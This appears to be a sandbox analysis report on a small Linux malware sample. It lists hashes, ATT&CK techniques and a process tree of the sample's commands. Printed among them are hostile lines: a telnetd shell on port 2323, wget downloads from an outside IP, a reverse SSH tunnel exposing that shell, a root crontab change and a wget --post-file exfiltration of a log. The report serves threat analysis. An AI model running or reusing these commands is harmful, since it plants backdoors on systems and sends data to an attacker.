10f008cccc17605cfd1b61cd02da7c70dbdbf8b9fcc7496f1925d82a67bb4022

Analysis

max time kernel
8s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23/07/2026, 06:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
x
Size 3KB
Sample260723-hal8vahe82
SHA256 10f008cccc17605cfd1b61cd02da7c70dbdbf8b9fcc7496f1925d82a67bb4022
MD5 82d71e57d4ab5718bf86e94a3eeb6c44
SHA1 606dc101ab4646967cf42a10a6c0cb65383d705a
SHA512 01139d2b0493fc602004398cc179ad6e99a0893633247809db2ba433a40100629e3547aac219885cf1f79493a3e9a44d4ef76a951ce0161ca3e94d8704fab262
TLSH
T1657102E2896A15F1694DCE3FD12BA0FA19E7001B242939A731AD3674377C1ACD20CB27
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1516	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/dbclient	1530	x

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/root	x

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/427/stat	pidof
File opened for reading	/proc/521/stat	pidof
File opened for reading	/proc/1051/cmdline	killall
File opened for reading	/proc/79/stat	killall
File opened for reading	/proc/79/cmdline	killall
File opened for reading	/proc/450/stat	killall
File opened for reading	/proc/1048/stat	killall
File opened for reading	/proc/8/cmdline	pidof
File opened for reading	/proc/81/cmdline	pidof
File opened for reading	/proc/712/stat	pidof
File opened for reading	/proc/1087/cmdline	killall
File opened for reading	/proc/17/cmdline	pidof
File opened for reading	/proc/115/stat	pidof
File opened for reading	/proc/1063/cmdline	pidof
File opened for reading	/proc/1153/cmdline	pidof
File opened for reading	/proc/1500/stat	pidof
File opened for reading	/proc/1533/cmdline	pidof
File opened for reading	/proc/1087/stat	killall
File opened for reading	/proc/960/stat	pidof
File opened for reading	/proc/1016/stat	pidof
File opened for reading	/proc/1063/stat	pidof
File opened for reading	/proc/1091/cmdline	pidof
File opened for reading	/proc/1192/stat	pidof
File opened for reading	/proc/1483/stat	pidof
File opened for reading	/proc/1081/stat	killall
File opened for reading	/proc/31/stat	pidof
File opened for reading	/proc/169/cmdline	pidof
File opened for reading	/proc/969/cmdline	pidof
File opened for reading	/proc/1091/stat	pidof
File opened for reading	/proc/1298/stat	pidof
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/969/cmdline	killall
File opened for reading	/proc/531/stat	killall
File opened for reading	/proc/14/cmdline	pidof
File opened for reading	/proc/660/stat	pidof
File opened for reading	/proc/922/cmdline	pidof
File opened for reading	/proc/34/stat	killall
File opened for reading	/proc/83/stat	killall
File opened for reading	/proc/36/stat	killall
File opened for reading	/proc/253/cmdline	killall
File opened for reading	/proc/176/cmdline	pidof
File opened for reading	/proc/350/stat	pidof
File opened for reading	/proc/350/cmdline	pidof
File opened for reading	/proc/253/stat	killall
File opened for reading	/proc/176/stat	killall
File opened for reading	/proc/908/cmdline	killall
File opened for reading	/proc/987/stat	killall
File opened for reading	/proc/159/stat	pidof
File opened for reading	/proc/1006/stat	pidof
File opened for reading	/proc/1189/cmdline	pidof
File opened for reading	/proc/162/stat	killall
File opened for reading	/proc/1074/stat	killall
File opened for reading	/proc/1074/cmdline	killall
File opened for reading	/proc/1084/stat	pidof
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/201/stat	killall
File opened for reading	/proc/202/stat	killall
File opened for reading	/proc/477/stat	killall
File opened for reading	/proc/1454/cmdline	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/1160/stat	killall
File opened for reading	/proc/15/cmdline	pidof
File opened for reading	/proc/1049/stat	killall
File opened for reading	/proc/1500/stat	killall

Writes file to tmp directory 14 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/tunnel_key	wget
File opened for modification	/tmp/dbclient	wget
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/dbclient.log	x
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	tee
File opened for modification	/tmp/persist.log	x
File opened for modification	/tmp/persist.log	tee

/tmp/x
/tmp/x
1⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Writes file to tmp directory
PID:1487
- /bin/date
  date
  2⤵
  PID:1488
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:1490
- /bin/mkdir
  mkdir -p /dev/pts
  2⤵
  PID:1491
- /bin/mount
  mount -t devpts devpts /dev/pts
  2⤵
  PID:1492
- /usr/bin/killall
  killall telnetd utelnetd
  2⤵
  - Reads runtime system information
  PID:1493
- /bin/sleep
  sleep 1
  2⤵
  PID:1496
- /bin/busybox
  busybox telnetd -l /bin/sh -p 2323
  2⤵
  PID:1504
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:1507
- /bin/sleep
  sleep 1
  2⤵
  PID:1508
- /bin/grep
  grep -q :2323
  2⤵
  PID:1510
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:1512
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:1514
- /usr/bin/wget
  wget -O /tmp/dbclient http://209.38.118.65:8080/d824ef7079bc/ex7000/dbclient
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod +x /tmp/dbclient
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /bin/ls
  ls -l /tmp/dbclient
  2⤵
  PID:1518
- /usr/bin/awk
  awk "{print \$5}"
  2⤵
  PID:1519
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:1521
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:1523
- /usr/bin/wget
  wget -O /tmp/tunnel_key http://209.38.118.65:8080/d824ef7079bc/ex7000/tunnel_key
  2⤵
  - Writes file to tmp directory
  PID:1524
- /bin/chmod
  chmod 600 /tmp/tunnel_key
  2⤵
  PID:1525
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:1527
- /usr/bin/killall
  killall dbclient
  2⤵
  - Reads runtime system information
  PID:1528
- /bin/sleep
  sleep 2
  2⤵
  PID:1529
- /bin/sleep
  sleep 3
  2⤵
  PID:1531
- /tmp/dbclient
  /tmp/dbclient -N -y -y -R 2234:127.0.0.1:2323 -i /tmp/tunnel_key -p 22 -K 30 "[email protected]"
  2⤵
  PID:1530
- /bin/pidof
  pidof dbclient
  2⤵
  - Reads runtime system information
  PID:1533
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:1535
- /bin/mkdir
  mkdir -p /var/spool/cron/crontabs
  2⤵
  PID:1536
- /bin/cat
  cat
  2⤵
  PID:1537
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:1539
- /usr/bin/tee
  tee -a /tmp/persist.log
  2⤵
  - Writes file to tmp directory
  PID:1541

/usr/bin/wget
wget -q "--post-file=/tmp/persist.log" http://209.38.118.65:9999/
1⤵
PID:1542

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dbclient

Path /tmp/dbclient
Size 829KB
SHA256 0f393655fcbc439444772e9cb470da6ef3e7052b2fcc6dbf48700f5c1644365f
MD5 9e0ede2970d1ddab8a03f840f6ec7c53
SHA1 fc16b8b4efbb4af27aa405e522b1fa0b3d8e8f96
SHA512 6c20ee1093ceadcff0e64fd312c3db2f5e36742d8959132dabcc86295952b45653e080b8fb3f5832593e236ef4b503c0aa1ce9474fed555d4df17f723b4cbfc0
SSDEEP 12288:2DMIEzPLS4zAzLGbfonJl5rcV1/3HXdA519OOvqrctgp1h9Y:9vWEgGbwnSV1PNA/9ONrL
TLSH
T16D052955F880DFA1C6C029BAF75D86AC33134B79D3EB710689255B343BE786B0E3A641
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 60B
SHA256 c2166d70c351acb0cf35e34fa483ca748fac074571189cb70c1ba61f2dae5f19
MD5 b3eeab5a66a3978dee2b33243692051b
SHA1 0f91980b0c37bb4c09eda315ae2a2d602a010e08
SHA512 ce022c4096d2c5e3c9ca3f5713155f5602c1dfe3603450d1a18bde9f21c31da0304ad66ec71db3ea6641f661a93f315d56bf912618a3b80444bfdc61a4cbc1b6
TLSH
T1B8A022A00202003803080088C8220800028EA08C2202E03C8830882020C008F0F20C32
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 93B
SHA256 ca0731c683e242b99017a24abf296b3e4f484f97fcaae9ac9e6f3dc20b5132f9
MD5 2003772be1815ec6ae9f123a871fe75a
SHA1 1528ba352e8c4410c70679b9adc91de5f7f064ab
SHA512 f907a80d0595bb32efeacaa13535497c27e44f4b4de7371213e5d92e5792276534bb65510b625406d9f1e7c46218f3b7f0c591565a85e7aabd3241691cbfd5e4
TLSH
T18BB012D00201007842B5015988124C84035D62CC1117D0BC5439461132984DACF91876
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 131B
SHA256 b52264c93bc2947b5f1ac9b46d3291d7b0ce7561123f2348e2643a2e065fe5bc
MD5 b4ea207648c088fc34cc558c6b4e95ec
SHA1 76ebd9aee2a98c7f2b2a9d4f4e0e44cab66f9a5d
SHA512 3da1294a01ccf7ec7cc08c383aecd3463a86e4f302d574f52be9ac0b4af7863d9b96c919da40aeb3e2c5712830fb728838938ce25be78e2761a830f8bdeefa5c
TLSH
T16DC02BC4060100F881F0024548010CC8036D938C1402807C44394240225C4C6CE904A2
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 159B
SHA256 c3899fb7896b26123fdac791d0d94dcd71061a6482b6e841132957b02489a122
MD5 bb5249454a28f0cbae5c30e9f1ad09e4
SHA1 fff650dc0500cd57d06aa712a7994fa9c19f9f8d
SHA512 ecf06e15b793da43f6757c0f74982f54b40995f0a1fad432062ffdb0e5a7e1c0dc6da9020c87392df90feffa6094e55d920112ff9278a30d49557cd823f655dc
TLSH
T1FDC02BDA060200FD91F403568C174CC807BEE39D2613F0BC593A4640227C5D7CFB44A3
MD5 SHA1 SHA512 TLSH

Submit Download

persist.log

Path /tmp/persist.log
Size 2KB
SHA256 fe5f2d35dd1a2362a368ac01be0823444162caf08e34644b1b5754d4d0c1b09e
MD5 c9050693c8c4502667aaf1c4146dce8b
SHA1 e713edbce6531b83c4c9db86fe7d41a8a8cb00ca
SHA512 b54059b853c88f085ecc81b2c8eda68238e986d3a4e73ea35c0346ad79520c7777e1b472296a37b9c0f646bab3b406acabb61489b6605e09588dbda6bc9d082c
TLSH
T1014103C12B623D685B944AA56D22C7B00FF6AC4527CE0C3D721E108A4FE21E5BBB9942
MD5 SHA1 SHA512 TLSH

Submit Download

tunnel_key

Path /tmp/tunnel_key
Size 804B
SHA256 c46038426694798a71ec38d99a59473a478bd99ebcaedfaa1151aa39cc1f1226
MD5 b9e6970d3772f11502f0a70002c83ad6
SHA1 0c991cdfc4150970966834f2dc2640b73d29f121
SHA512 5a0eaec9ba105248b806b7339acb0eac5f37c85f37ae23e37b2911b8ead7815cbb65fae69dff85d3bd89d5aaae6c8b8e7ed1dc6c6a35fb632d845bc47ba9b09d
TLSH
T1F80186D9AA14C821EE193D33077107A12EF8C3085209FE0B7060EF165574070DB4C6D1
MD5 SHA1 SHA512 TLSH

Submit Download

root

Path /var/spool/cron/crontabs/root
Size 392B
SHA256 34b2b8ff190e7c9c0c9ab33c69ae3326f8461567876b34bbad552b48813972ce
MD5 063933a51e620e947097be6414de0209
SHA1 80b5bc33679ad19ed2246bb681401d6224ce3d10
SHA512 8509d63ec8d716a5bde05a4b52f9ec5810b3c10ecf024c249ee14da00f32be2f13aeee6407e420b300451e6cad5791f6b9757e1f5f0a92c569129da86fa42d23
TLSH
T1C1E068F1832040F0A608C937E02E9CF2D8AA19350C1B35902CEF6764610C2C6F79DAB7
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads